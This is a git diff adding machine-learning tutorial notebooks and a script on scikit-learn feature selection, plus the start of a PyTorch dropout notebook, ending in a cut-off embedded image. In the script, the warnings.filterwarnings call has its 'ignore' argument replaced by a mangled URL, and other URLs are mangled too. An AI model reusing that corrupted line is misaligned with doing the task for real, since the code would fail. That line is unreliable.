2, 0],\n", + "[3, 3, 1],\n", + "[4, 4, 0],\n", + "[5, 5, 1],\n", + "[6, 6, 0],\n", + "[7, 7, 1],\n", + "[8, 7, 0],\n", + "[9, 7, 1]])\n", + "# Conversion of feature matrix\n", + "dataframe = pd.DataFrame(features_m)\n", + "# correlation matrix creation\n", + "corr_m = dataframe.corr().abs()\n", + "# upper triangle selection\n", + "upper1 = corr_m.where(np.triu(np.ones(corr_m.shape),\n", + "k=1).astype(np.bool))\n", + "# For correlation greater than 0.85, Find index of feature columns\n", + "droping = [col for col in upper1.columns if any(upper1[col] > 0.85)]\n", + "# Drop features\n", + "dataframe.drop(dataframe.columns[droping], axis=1).head(3)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Dos1ZfkDS-Zd", + "outputId": "17e96f0d-a55a-4943-90a9-99aa3c31fad3" + }, + "outputs": [], + "source": [ + "# Load data\n", + "iris_i = load_iris()\n", + "features_v = iris.data\n", + "target = iris.target\n", + "# categorical data coversion\n", + "features_v = features_v.astype(int)\n", + "# Selection of two features using highest chi-squared \n", + "chi2_s = SelectKBest(chi2, k=2)\n", + "f_kbest = chi2_s.fit_transform(features_v, target)\n", + "# Show results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "y10u_gQbTCwR", + "outputId": "651182ab-d857-4a3d-db61-4fff866d167c" + }, + "outputs": [], + "source": [ + "# Selection of two features using highest F-values\n", + "f_selector = SelectKBest(f_classif, k=2)\n", + "f_kbest = f_selector.fit_transform(features_v, target)\n", + "# Pisplay results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "5NXAa6UKTHiu", + "outputId": "c34866b2-c08c-4020-b14d-78deb98f2834" + }, + "outputs": [], + "source": [ + "# Selection of top 65% of features \n", + "f_selector = SelectPercentile(f_classif, percentile=65)\n", + "f_kbest = f_selector.fit_transform(features_v, target)\n", + "# Display results\n", + "print(\"Original number of features:\", features_v.shape[1])\n", + "print(\"Reduced number of features:\", f_kbest.shape[1])" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "39-Wq-F9TKVg", + "outputId": "e52c0537-2245-4f12-ea9a-ace232984ec1" + }, + "outputs": [], + "source": [ + "# Load libraries\n", + "# Suppress an annoying but harmless warning\n", + "warnings.filterwarnings(action=\"ignore\", module=\"scipy\",\n", + "message=\"^internal gelsd\")\n", + "# features matrix, target vector, true coefficients\n", + "features_f, target_t = make_regression(n_samples = 10000,\n", + "n_features = 100,\n", + "n_informative = 2,\n", + "random_state = 1)\n", + "# linear regression creation\n", + "ols = linear_model.LinearRegression()\n", + "# Recursive features elimination\n", + "rfecv = RFECV(estimator=ols, step=2, scoring=\"neg_mean_squared_error\")\n", + "rfecv.fit(features_f, target_t)\n", + "rfecv.transform(features_f)" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Ut1mgIGEUhJM", + "outputId": "f365a4d5-63f4-4a55-e828-d331e6f06308" + }, + "outputs": [], + "source": [ + "# Number of best features\n", + "rfecv.n_features_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Lpt7I_Q0UjN1", + "outputId": "4d6938dc-d813-42a5-c1b7-9ba4865a0e86" + }, + "outputs": [], + "source": [ + "# What the best categories ?\n", + "rfecv.support_" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ojYKsEbTUkMu", + "outputId": "98652d92-f58f-41fe-9ba1-b1ecd3ef7ecb" + }, + "outputs": [], + "source": [ + "# We can even see how the features are ranked\n", + "rfecv.ranking_" + ] + } + ], + "metadata": { + "colab": { + "name": "Untitled42.ipynb", + "provenance": [] + }, + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + } + }, + "nbformat": 4, + "nbformat_minor": 0 +} diff --git a/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py new file mode 100644 index 00000000..def7d87c --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/dimensionality_reduction_using_feature_selection.py @@ -0,0 +1,136 @@ +# -*- coding: utf-8 -*- +"""Untitled42.ipynb + +Automatically generated by Colaboratory. + +Original file is located at + https://colab.research.google.com/drive/1pE7KFZcxTLcnAuXUXcKSfsfskiMMPVQd +""" + +from sklearn.feature_selection import VarianceThreshold +from sklearn.feature_selection import VarianceThreshold +# Load libraries +import pandas as pd +import numpy as np +# Load libraries +from sklearn.datasets import load_iris +from sklearn.feature_selection import SelectKBest +from sklearn.feature_selection import chi2, f_classif +from sklearn.feature_selection import SelectPercentile +from sklearn.preprocessing import StandardScaler +import warnings +from sklearn.datasets import make_regression +from sklearn.feature_selection import RFECV +from sklearn import datasets, linear_model + +# Load libraries +# import data +iris = datasets.load_iris() +# Create features and target +features_i = iris.data +target_i = iris.target +# thresholder creation +thresholder = VarianceThreshold(threshold=.4) +# high variance feature matrix creation +f_high_variance = thresholder.fit_transform(features_i) +# View high variance feature matrix +f_high_variance[0:3] + +# View variances +thresholder.fit(features_i).variances_ + +# feature matrix stantardization +scaler = StandardScaler() +f_std = scaler.fit_transform(features_i) +# variance of each feature calculation +selection = VarianceThreshold() +selection.fit(f_std).variances_ + +# feature matrix creation with: +# for Feature 0: 80% class 0 +# for Feature 1: 80% class 1 +# for Feature 2: 60% class 0, 40% class 1 +features_i = [[0, 2, 0], +[0, 1, 1], +[0, 1, 0], +[0, 1, 1], +[1, 0, 0]] +# threshold by variance +thresholding = VarianceThreshold(threshold=(.65 * (1 - .65))) +thresholding.fit_transform(features_i) + +# Create feature matrix with two highly correlated features +features_m = np.array([[1, 1, 1], +[2, 2, 0], +[3, 3, 1], +[4, 4, 0], +[5, 5, 1], +[6, 6, 0], +[7, 7, 1], +[8, 7, 0], +[9, 7, 1]]) +# Conversion of feature matrix +dataframe = pd.DataFrame(features_m) +# correlation matrix creation +corr_m = dataframe.corr().abs() +# upper triangle selection +upper1 = corr_m.where(np.triu(np.ones(corr_m.shape), +k=1).astype(np.bool)) +# For correlation greater than 0.85, Find index of feature columns +droping = [col for col in upper1.columns if any(upper1[col] > 0.85)] +# Drop features +dataframe.drop(dataframe.columns[droping], axis=1).head(3) + +# Load data +iris_i = load_iris() +features_v = iris.data +target = iris.target +# categorical data coversion +features_v = features_v.astype(int) +# Selection of two features using highest chi-squared +chi2_s = SelectKBest(chi2, k=2) +f_kbest = chi2_s.fit_transform(features_v, target) +# Show results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Selection of two features using highest F-values +f_selector = SelectKBest(f_classif, k=2) +f_kbest = f_selector.fit_transform(features_v, target) +# Pisplay results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Selection of top 65% of features +f_selector = SelectPercentile(f_classif, percentile=65) +f_kbest = f_selector.fit_transform(features_v, target) +# Display results +print("Original number of features:", features_v.shape[1]) +print("Reduced number of features:", f_kbest.shape[1]) + +# Load libraries +# Suppress an annoying but harmless warning +warnings.filterwarnings(action="https://github.com/ignore", module="scipy", +message="^internal gelsd") +# features matrix, target vector, true coefficients +features_f, target_t = make_regression(n_samples = 10000, +n_features = 100, +n_informative = 2, +random_state = 1) +# linear regression creation +ols = linear_model.LinearRegression() +# Recursive features elimination +rfecv = RFECV(estimator=ols, step=2, scoring="neg_mean_squared_error") +rfecv.fit(features_f, target_t) +rfecv.transform(features_f) + +# Number of best features +rfecv.n_features_ + +# What the best categories ? +rfecv.support_ + +# We can even see how the features are ranked +rfecv.ranking_ + +help(SelectKBest) \ No newline at end of file diff --git a/machine-learning/dimensionality-reduction-feature-selection/requirements b/machine-learning/dimensionality-reduction-feature-selection/requirements new file mode 100644 index 00000000..5ab9999b --- /dev/null +++ b/machine-learning/dimensionality-reduction-feature-selection/requirements @@ -0,0 +1,3 @@ +numpy +pandas +sklearn diff --git a/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb b/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb new file mode 100644 index 00000000..0e5fa0c3 --- /dev/null +++ b/machine-learning/dropout-in-pytorch/DropoutRegularizationPyTorch_PythonCodeTutorial.ipynb @@ -0,0 +1,1110 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "o7H1OrBb2L6P" + }, + "outputs": [], + "source": [ + "import torch\n", + "import torchvision\n", + "import torchvision.transforms as transforms\n", + "import matplotlib.pyplot as plt\n", + "import numpy as np" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "2nq95nVQE_00", + "outputId": "6257f18c-6cd7-45c6-8b11-e74d7f489e1d" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "device(type='cuda', index=0)" + ] + }, + "metadata": {}, + "execution_count": 2 + } + ], + "source": [ + "# defining our device, 'cuda:0' if CUDA is available, 'cpu' otherwise\n", + "device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n", + "device" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "4RlJUUwp2NnJ" + }, + "outputs": [], + "source": [ + "# make the transform pipeline, converting to tensor and normalizing\n", + "transform = transforms.Compose([\n", + " transforms.ToTensor(),\n", + " transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n", + "])\n", + "# the batch size during training\n", + "batch_size = 64" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 86, + "referenced_widgets": [ + "b4a6874638e2443f8c43e0db744fa327", + "befda00472714307afad3307ced59f39", + "073e2b2d0c164e5ba3ab91c64618e27c", + "367a2d97f6014f67b2557e5e26a76e2b", + "faa9f040562349cea6bf0b619249d5b4", + "506e3b6439b6476499deaf812300bf48", + "fee449ec39d24cbdbd6912bbdd95649f", + "ccda80a9207f470bb93b1ce9c7fb67d4", + "ad67632afdf947c8b7136799037a63df", + "50a6c0a6110e470291a56b008d7657b3", + "2ec3f8f6c8ae408ea62db2cc9368483a" + ] + }, + "id": "7G1YZeI22dlK", + "outputId": "1baea523-3955-445e-de6a-8a3e7ec1ebe2" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Downloading https://www.cs.toronto.edu/~kriz/cifar-10-python.tar.gz to ./data/cifar-10-python.tar.gz\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + " 0%| | 0/170498071 [00:00" + ], + "image/png": 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